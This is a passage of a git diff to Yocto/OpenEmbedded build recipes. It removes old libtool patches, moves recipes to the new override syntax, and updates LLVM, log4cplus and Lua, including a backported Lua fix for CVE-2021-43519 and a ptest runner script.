-+bin_SCRIPTS = $(host_alias)-libtool
-
- libtoolize: $(libtoolize_in) $(config_status)
- $(AM_V_at)rm -f '$@'
-@@ -287,7 +287,7 @@ libtoolize: $(libtoolize_in) $(config_status)
- # We used to do this with a 'stamp-vcl' file, but non-gmake builds
- # would rerun configure on every invocation, so now we manually
- # check the version numbers from the build rule when necessary.
--libtool: $(ltmain_sh) $(config_status) $(dotversion)
-+$(host_alias)-libtool: $(ltmain_sh) $(config_status) $(dotversion)
- @$(rebuild); \
- if test -f '$@'; then \
- eval `'$(SED)' -n '/^package_revision=/p' '$@'`; \
-@@ -731,12 +731,12 @@ TESTS_ENVIRONMENT = MAKE="$(MAKE)" CC="$(CC)" CFLAGS="$(CFLAGS)" \
-
- BUILDCHECK_ENVIRONMENT = _lt_pkgdatadir="$(abs_top_srcdir)" \
- LIBTOOLIZE="$(abs_top_builddir)/libtoolize" \
-- LIBTOOL="$(abs_top_builddir)/libtool" \
-+ LIBTOOL="$(abs_top_builddir)/$(host_alias)-libtool" \
- tst_aclocaldir="$(abs_top_srcdir)/m4"
-
- INSTALLCHECK_ENVIRONMENT = \
- LIBTOOLIZE="$(bindir)/`echo libtoolize |$(SED) '$(program_transform_name)'`" \
-- LIBTOOL="$(bindir)/`echo libtool |$(SED) '$(program_transform_name)'`" \
-+ LIBTOOL="$(bindir)/`echo $(host_alias)-libtool |$(SED) '$(program_transform_name)'`" \
- LTDLINCL="-I$(includedir)" \
- LIBLTDL="$(libdir)/libltdl.la" \
- tst_aclocaldir="$(aclocaldir)"
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -86,7 +86,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS=$ltmain
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
-@@ -199,7 +200,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a '.a' archive for static linking (except MSVC,
diff --git a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch b/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
deleted file mode 100644
index ad2b110530..0000000000
--- a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
+++ /dev/null
@@ -1,166 +0,0 @@
-Upstream-Status: Pending
-
-This patch renames the --with-sysroot option to --with-libtool-sysroot
-to avoid namespace conflict with binutils, gcc and other toolchain
-components.
-
-I also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
-
--Khem Raj <raj.khem@gmail.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1215,28 +1215,28 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
- # ----------------
- AC_DEFUN([_LT_WITH_SYSROOT],
- [AC_MSG_CHECKING([for sysroot])
--AC_ARG_WITH([sysroot],
--[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
-+AC_ARG_WITH([libtool-sysroot],
-+[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
- [Search for dependent libraries within DIR (or the compiler's sysroot
- if not specified).])],
--[], [with_sysroot=no])
-+[], [with_libtool_sysroot=no])
-
- dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
--case $with_sysroot in #(
-+case $with_libtool_sysroot in #(
- yes)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
- fi
- ;; #(
- /*)
-- lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"`
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
- no|'')
- ;; #(
- *)
-- AC_MSG_RESULT([$with_sysroot])
-+ AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
- ;;
- esac
-diff --git a/tests/sysroot.at b/tests/sysroot.at
---- a/tests/sysroot.at
-+++ b/tests/sysroot.at
-@@ -64,7 +64,7 @@ while read file; do
- done])
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -114,7 +114,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-@@ -155,7 +155,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-diff --git a/tests/testsuite b/tests/testsuite
---- a/tests/testsuite
-+++ b/tests/testsuite
-@@ -48945,7 +48945,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49154,7 +49154,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49342,7 +49342,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49694,7 +49694,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49903,7 +49903,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50091,7 +50091,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50443,7 +50443,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -50652,7 +50652,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50840,7 +50840,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/trailingslash.patch b/meta/recipes-devtools/libtool/libtool/trailingslash.patch
deleted file mode 100644
index e8824d7db9..0000000000
--- a/meta/recipes-devtools/libtool/libtool/trailingslash.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Pending
-
-A command like /bin/sh ../../i586-poky-linux-libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/media/data1/builds/poky1/tmp/work/core2-poky-linux/gnome-keyring-2.26.1-r1/image/usr/lib/gnome-keyring/standalone/' fails (e.g. gnome-keyring or pulseaudio)
-
-This is because libdir has a trailing slash which breaks the comparision.
-
-RP 2/1/10
-
-Merged a patch received from Gary Thomas <gary@mlbassoc.com>
-
-Date: 2010/07/12
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -2356,8 +2356,15 @@ func_mode_install ()
- func_append dir "$objdir"
-
- if test -n "$relink_command"; then
-+ # Strip any trailing slash from the destination.
-+ func_stripname '' '/' "$libdir"
-+ destlibdir=$func_stripname_result
-+
-+ func_stripname '' '/' "$destdir"
-+ s_destdir=$func_stripname_result
-+
- # Determine the prefix the user has applied to our future dir.
-- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
-+ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
diff --git a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch b/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
deleted file mode 100644
index 6af99f327c..0000000000
--- a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Upstream-Status: Pending
-
-When using sysroot we should append it to libdir, which is helpful in
-cross builds as the system is staged in the sysroot. For normal builds,
-i.e. when lt_sysroot is not set, it will still behave the same and add
--L/usr/lib to the relink command.
-
--Khem Raj <raj.khem@gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -6421,7 +6421,7 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-- add_dir=-L$libdir
-+ add_dir="-L$lt_sysroot$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
diff --git a/meta/recipes-devtools/libtool/libtool_2.4.6.bb b/meta/recipes-devtools/libtool/libtool_2.4.6.bb
index a5715faaa9..fb40ce7317 100644
--- a/meta/recipes-devtools/libtool/libtool_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool_2.4.6.bb
@@ -1,8 +1,8 @@
require libtool-${PV}.inc
-SRC_URI += "file://multilib.patch file://debian-no_hostname.patch"
+SRC_URI += "file://multilib.patch"
-RDEPENDS_${PN} += "bash"
+RDEPENDS:${PN} += "bash"
#
# We want the results of libtool-cross preserved - don't stage anything ourselves.
@@ -13,9 +13,9 @@ SYSROOT_DIRS_BLACKLIST += " \
${datadir}/libtool/build-aux \
"
-ACLOCALEXTRAPATH_class-target = ""
+ACLOCALEXTRAPATH:class-target = ""
-do_install_append () {
+do_install:append () {
sed -e 's@--sysroot=${STAGING_DIR_HOST}@@g' \
-e "s@${DEBUG_PREFIX_MAP}@@g" \
-e 's@${STAGING_DIR_HOST}@@g' \
diff --git a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
index 508eade326..86c55ded7b 100644
--- a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
@@ -2,15 +2,14 @@ require libtool-${PV}.inc
FILESEXTRAPATHS =. "${FILE_DIRNAME}/libtool:"
-SRC_URI += "file://prefix.patch"
SRC_URI += "file://fixinstall.patch"
inherit nativesdk
S = "${WORKDIR}/libtool-${PV}"
-FILES_${PN} += "${datadir}/libtool/*"
+FILES:${PN} += "${datadir}/libtool/*"
-do_configure_prepend () {
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -20,12 +19,12 @@ do_configure_prepend () {
do_install () {
autotools_do_install
install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/
+ install -m 0755 libtool ${D}${bindir}/
}
SYSROOT_PREPROCESS_FUNCS += "libtoolnativesdk_sysroot_preprocess"
libtoolnativesdk_sysroot_preprocess () {
install -d ${SYSROOT_DESTDIR}${bindir_crossscripts}/
- install -m 755 ${D}${bindir}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/${HOST_SYS}-libtool
+ install -m 755 ${D}${bindir}/libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/libtool
}
diff --git a/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
new file mode 100644
index 0000000000..48af6fc283
--- /dev/null
+++ b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
@@ -0,0 +1,31 @@
+From 86940d87026432683fb6741cd8a34d3b9b18e40d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 27 Nov 2020 10:11:08 +0000
+Subject: [PATCH] AsmMatcherEmitter: sort ClassInfo lists by name as well
+
+Otherwise, there are instances which are identical in
+every other field and therefore sort non-reproducibly
+(which breaks binary and source reproducibiliy).
+
+Upstream-Status: Submitted [https://reviews.llvm.org/D97477]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ llvm/utils/TableGen/AsmMatcherEmitter.cpp | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/llvm/utils/TableGen/AsmMatcherEmitter.cpp b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+index ccf0959389b..1f801e83b7d 100644
+--- a/llvm/utils/TableGen/AsmMatcherEmitter.cpp
++++ b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+@@ -359,7 +359,10 @@ public:
+ // name of a class shouldn't be significant. However, some of the backends
+ // accidentally rely on this behaviour, so it will have to stay like this
+ // until they are fixed.
+- return ValueName < RHS.ValueName;
++ if (ValueName != RHS.ValueName)
++ return ValueName < RHS.ValueName;
++ // All else being equal, we should sort by name, for source and binary reproducibility
++ return Name < RHS.Name;
+ }
+ };
+
diff --git a/meta/recipes-devtools/llvm/llvm_git.bb b/meta/recipes-devtools/llvm/llvm_git.bb
index 4c2d490315..d9efa53499 100644
--- a/meta/recipes-devtools/llvm/llvm_git.bb
+++ b/meta/recipes-devtools/llvm/llvm_git.bb
@@ -10,30 +10,29 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
DEPENDS = "libffi libxml2 zlib libedit ninja-native llvm-native"
-COMPATIBLE_HOST_riscv64 = "null"
-COMPATIBLE_HOST_riscv32 = "null"
+COMPATIBLE_HOST:riscv64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
-RDEPENDS_${PN}_append_class-target = " ncurses-terminfo"
+RDEPENDS:${PN}:append:class-target = " ncurses-terminfo"
inherit cmake pkgconfig
PROVIDES += "llvm${PV}"
-MAJOR_VERSION = "10"
-MINOR_VERSION = "0"
-PATCH_VERSION = "1"
+PV = "12.0.1"
-PV = "${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}"
+MAJOR_VERSION = "${@oe.utils.trim_version("${PV}", 1)}"
LLVM_RELEASE = "${PV}"
LLVM_DIR = "llvm${LLVM_RELEASE}"
BRANCH = "release/${MAJOR_VERSION}.x"
-SRCREV = "ef32c611aa214dea855364efd7ba451ec5ec3f74"
-SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH} \
+SRCREV = "fed41342a82f5a3a9201819a82bf7a48313e296b"
+SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH};protocol=https \
file://0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch;striplevel=2 \
file://0007-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
- "
+ file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2 \
+ "
UPSTREAM_CHECK_GITTAGREGEX = "llvmorg-(?P<pver>\d+(\.\d+)+)"
@@ -63,8 +62,8 @@ def get_llvm_host_arch(bb, d):
#
LLVM_TARGETS ?= "AMDGPU;${@get_llvm_host_arch(bb, d)}"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4t = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DLLVM_ENABLE_EXPENSIVE_CHECKS=OFF \
@@ -80,30 +79,35 @@ EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
-G Ninja"
-EXTRA_OECMAKE_append_class-target = "\
+EXTRA_OECMAKE:append:class-target = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-EXTRA_OECMAKE_append_class-nativesdk = "\
+EXTRA_OECMAKE:append:class-nativesdk = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-do_configure_prepend() {
+do_configure:prepend() {
# Fix paths in llvm-config
sed -i "s|sys::path::parent_path(CurrentPath))\.str()|sys::path::parent_path(sys::path::parent_path(CurrentPath))).str()|g" ${S}/tools/llvm-config/llvm-config.cpp
sed -ri "s#/(bin|include|lib)(/?\")#/\1/${LLVM_DIR}\2#g" ${S}/tools/llvm-config/llvm-config.cpp
sed -ri "s#lib/${LLVM_DIR}#${baselib}/${LLVM_DIR}#g" ${S}/tools/llvm-config/llvm-config.cpp
}
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/tools/llvm-config/BuildVariables.inc
+}
+
do_compile() {
ninja -v ${PARALLEL_MAKE}
}
-do_compile_class-native() {
+do_compile:class-native() {
ninja -v ${PARALLEL_MAKE} llvm-config llvm-tblgen
}
@@ -138,7 +142,7 @@ do_install() {
rm -rf ${D}${libdir}/${LLVM_DIR}/libLTO.so
}
-do_install_class-native() {
+do_install:class-native() {
install -D -m 0755 ${B}/bin/llvm-tblgen ${D}${bindir}/llvm-tblgen${PV}
install -D -m 0755 ${B}/bin/llvm-config ${D}${bindir}/llvm-config${PV}
install -D -m 0755 ${B}/lib/libLLVM-${MAJOR_VERSION}.so ${D}${libdir}/libLLVM-${MAJOR_VERSION}.so
@@ -146,39 +150,39 @@ do_install_class-native() {
PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-libllvm ${PN}-liboptremarks ${PN}-liblto"
-RRECOMMENDS_${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
+RRECOMMENDS:${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
-FILES_${PN}-bugpointpasses = "\
+FILES:${PN}-bugpointpasses = "\
${libdir}/${LLVM_DIR}/BugpointPasses.so \
"
-FILES_${PN}-libllvm = "\
+FILES:${PN}-libllvm = "\
${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.so \
${libdir}/libLLVM-${MAJOR_VERSION}.so \
"
-FILES_${PN}-liblto += "\
+FILES:${PN}-liblto += "\
${libdir}/${LLVM_DIR}/libLTO.so.* \
"
-FILES_${PN}-liboptremarks += "\
+FILES:${PN}-liboptremarks += "\
${libdir}/${LLVM_DIR}/libRemarks.so.* \
"
-FILES_${PN}-llvmhello = "\
+FILES:${PN}-llvmhello = "\
${libdir}/${LLVM_DIR}/LLVMHello.so \
"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${libdir}/${LLVM_DIR}/llvm-config \
${libdir}/${LLVM_DIR}/libRemarks.so \
- ${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}.so \
+ ${libdir}/${LLVM_DIR}/libLLVM-${PV}.so \
"
-FILES_${PN}-staticdev += "\
+FILES:${PN}-staticdev += "\
${libdir}/${LLVM_DIR}/*.a \
"
-INSANE_SKIP_${PN}-libllvm += "dev-so"
+INSANE_SKIP:${PN}-libllvm += "dev-so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/log4cplus/log4cplus_2.0.5.bb b/meta/recipes-devtools/log4cplus/log4cplus_2.0.5.bb
deleted file mode 100644
index 967ac7623a..0000000000
--- a/meta/recipes-devtools/log4cplus/log4cplus_2.0.5.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "log4cplus provides a simple C++ logging API for log management"
-SECTION = "libs"
-HOMEPAGE = "http://sourceforge.net/projects/log4cplus/"
-BUGTRACKER = "http://sourceforge.net/p/log4cplus/bugs/"
-
-LICENSE = "Apache-2.0 & BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=41e8e060c26822886b592ab4765c756b"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}-stable/${PV}/${BP}.tar.gz \
- "
-SRC_URI[md5sum] = "71dd956bf686195127559671f1426cff"
-SRC_URI[sha256sum] = "c07115c23219390633798def30b7b51a0f79fdeb857e4b49632f17746d0ceb97"
-
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/log4cplus/files/log4cplus-stable/"
-UPSTREAM_CHECK_REGEX = "log4cplus-stable/(?P<pver>\d+(\.\d+)+)/"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb b/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb
new file mode 100644
index 0000000000..3798b93f76
--- /dev/null
+++ b/meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb
@@ -0,0 +1,19 @@
+SUMMARY = "log4cplus provides a simple C++ logging API for log management"
+SECTION = "libs"
+HOMEPAGE = "http://sourceforge.net/projects/log4cplus/"
+DESCRIPTION = "log4cplus is a simple to use C++ logging API providing thread-safe, flexible, and arbitrarily granular control over log management and configuration. It is modelled after the Java log4j API."
+BUGTRACKER = "http://sourceforge.net/p/log4cplus/bugs/"
+
+LICENSE = "Apache-2.0 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=41e8e060c26822886b592ab4765c756b"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}-stable/${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "086451c7e7c582862cbd6c60d87bb6d9d63c4b65321dba85fa71766382f7ec6d"
+
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/log4cplus/files/log4cplus-stable/"
+UPSTREAM_CHECK_REGEX = "log4cplus-stable/(?P<pver>\d+(\.\d+)+)/"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/lua/lua/74d99057a5146755e737c479850f87fd0e3b6868.patch b/meta/recipes-devtools/lua/lua/74d99057a5146755e737c479850f87fd0e3b6868.patch
new file mode 100644
index 0000000000..dcdc04837d
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/74d99057a5146755e737c479850f87fd0e3b6868.patch
@@ -0,0 +1,43 @@
+From 74d99057a5146755e737c479850f87fd0e3b6868 Mon Sep 17 00:00:00 2001
+From: Roberto Ierusalimschy <roberto@inf.puc-rio.br>
+Date: Wed, 3 Nov 2021 15:04:18 -0300
+Subject: [PATCH] Bug: C stack overflow with coroutines
+
+'coroutine.resume' did not increment counter of C calls when
+continuing execution after a protected error (that is,
+while running 'precover').
+---
+ ldo.c | 6 ++++--
+ testes/cstack.lua | 14 ++++++++++++++
+ 2 files changed, 18 insertions(+), 2 deletions(-)
+
+Upstream-Status: Backport [https://github.com/lua/lua/commit/74d99057a5146755e737c479850f87fd0e3b6868.patch]
+CVE: CVE-2021-43519
+
+diff --git a/src/ldo.c b/src/ldo.c
+index d0edc8b4f..66f890364 100644
+--- a/src/ldo.c
++++ b/src/ldo.c
+@@ -759,11 +759,10 @@ static void resume (lua_State *L, void *ud) {
+ StkId firstArg = L->top - n; /* first argument */
+ CallInfo *ci = L->ci;
+ if (L->status == LUA_OK) /* starting a coroutine? */
+- ccall(L, firstArg - 1, LUA_MULTRET, 1); /* just call its body */
++ ccall(L, firstArg - 1, LUA_MULTRET, 0); /* just call its body */
+ else { /* resuming from previous yield */
+ lua_assert(L->status == LUA_YIELD);
+ L->status = LUA_OK; /* mark that it is running (again) */
+- luaE_incCstack(L); /* control the C stack */
+ if (isLua(ci)) { /* yielded inside a hook? */
+ L->top = firstArg; /* discard arguments */
+ luaV_execute(L, ci); /* just continue running Lua code */
+@@ -814,6 +813,9 @@ LUA_API int lua_resume (lua_State *L, lua_State *from, int nargs,
+ else if (L->status != LUA_YIELD) /* ended with errors? */
+ return resume_error(L, "cannot resume dead coroutine", nargs);
+ L->nCcalls = (from) ? getCcalls(from) : 0;
++ if (getCcalls(L) >= LUAI_MAXCCALLS)
++ return resume_error(L, "C stack overflow", nargs);
++ L->nCcalls++;
+ luai_userstateresume(L, nargs);
+ api_checknelems(L, (L->status == LUA_OK) ? nargs + 1 : nargs);
+ status = luaD_rawrunprotected(L, resume, &nargs);
diff --git a/meta/recipes-devtools/lua/lua/lua.pc.in b/meta/recipes-devtools/lua/lua/lua.pc.in
new file mode 100644
index 0000000000..c27e86e85d
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/lua.pc.in
@@ -0,0 +1,10 @@
+prefix=/usr
+libdir=${prefix}/lib
+includedir=${prefix}/include
+
+Name: Lua
+Description: Lua language engine
+Version: @VERSION@
+Requires:
+Libs: -L${libdir} -llua -lm -ldl
+Cflags: -I${includedir}
diff --git a/meta/recipes-devtools/lua/lua/run-ptest b/meta/recipes-devtools/lua/lua/run-ptest
new file mode 100644
index 0000000000..8e085e1af9
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/run-ptest
@@ -0,0 +1,19 @@
+#!/bin/sh
+
+cd test
+lua -e"_U=true" all.lua > lua-test.tmp
+
+echo "--- test output ---"
+cat lua-test.tmp
+echo ""
+echo ""
+echo "--- ptest result ---"
+
+grep "final OK \!\!\!" lua-test.tmp > /dev/null
+if [ $? -eq 0 ]; then
+ echo "PASS: lua"
+else
+ echo "FAIL: lua"
+fi
+
+rm -f lua-test.tmp
diff --git a/meta/recipes-devtools/lua/lua_5.4.3.bb b/meta/recipes-devtools/lua/lua_5.4.3.bb
new file mode 100644
index 0000000000..a204242bc0
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua_5.4.3.bb
@@ -0,0 +1,63 @@
+DESCRIPTION = "Lua is a powerful light-weight programming language designed \
+for extending applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://doc/readme.html;beginline=307;endline=330;md5=79c3f6b19ad05efe24c1681f025026bb"
+HOMEPAGE = "http://www.lua.org/"
+
+SRC_URI = "http://www.lua.org/ftp/lua-${PV}.tar.gz;name=tarballsrc \
+ file://lua.pc.in \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'http://www.lua.org/tests/lua-${PV_testsuites}-tests.tar.gz;name=tarballtest file://run-ptest ', '', d)} \
+ file://74d99057a5146755e737c479850f87fd0e3b6868.patch \
+ "
+
+# if no test suite matches PV release of Lua exactly, download the suite for the closest Lua release.
+PV_testsuites = "5.4.3"
+
+SRC_URI[tarballsrc.sha256sum] = "f8612276169e3bfcbcfb8f226195bfc6e466fe13042f1076cbde92b7ec96bbfb"
+SRC_URI[tarballtest.sha256sum] = "5d29c3022897a8290f280ebe1c6853248dfa35a668e1fc02ba9c8cde4e7bf110"
+
+# remove at next version upgrade or when output changes
+# was added after intermittent repro failures poisoned the cache
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".2"
+
+inherit pkgconfig binconfig ptest
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = ",,readline"
+
+TARGET_CC_ARCH += " -fPIC ${LDFLAGS}"
+EXTRA_OEMAKE = "'CC=${CC} -fPIC' 'MYCFLAGS=${CFLAGS} -fPIC' MYLDFLAGS='${LDFLAGS}' 'AR=ar rcD' 'RANLIB=ranlib -D'"
+
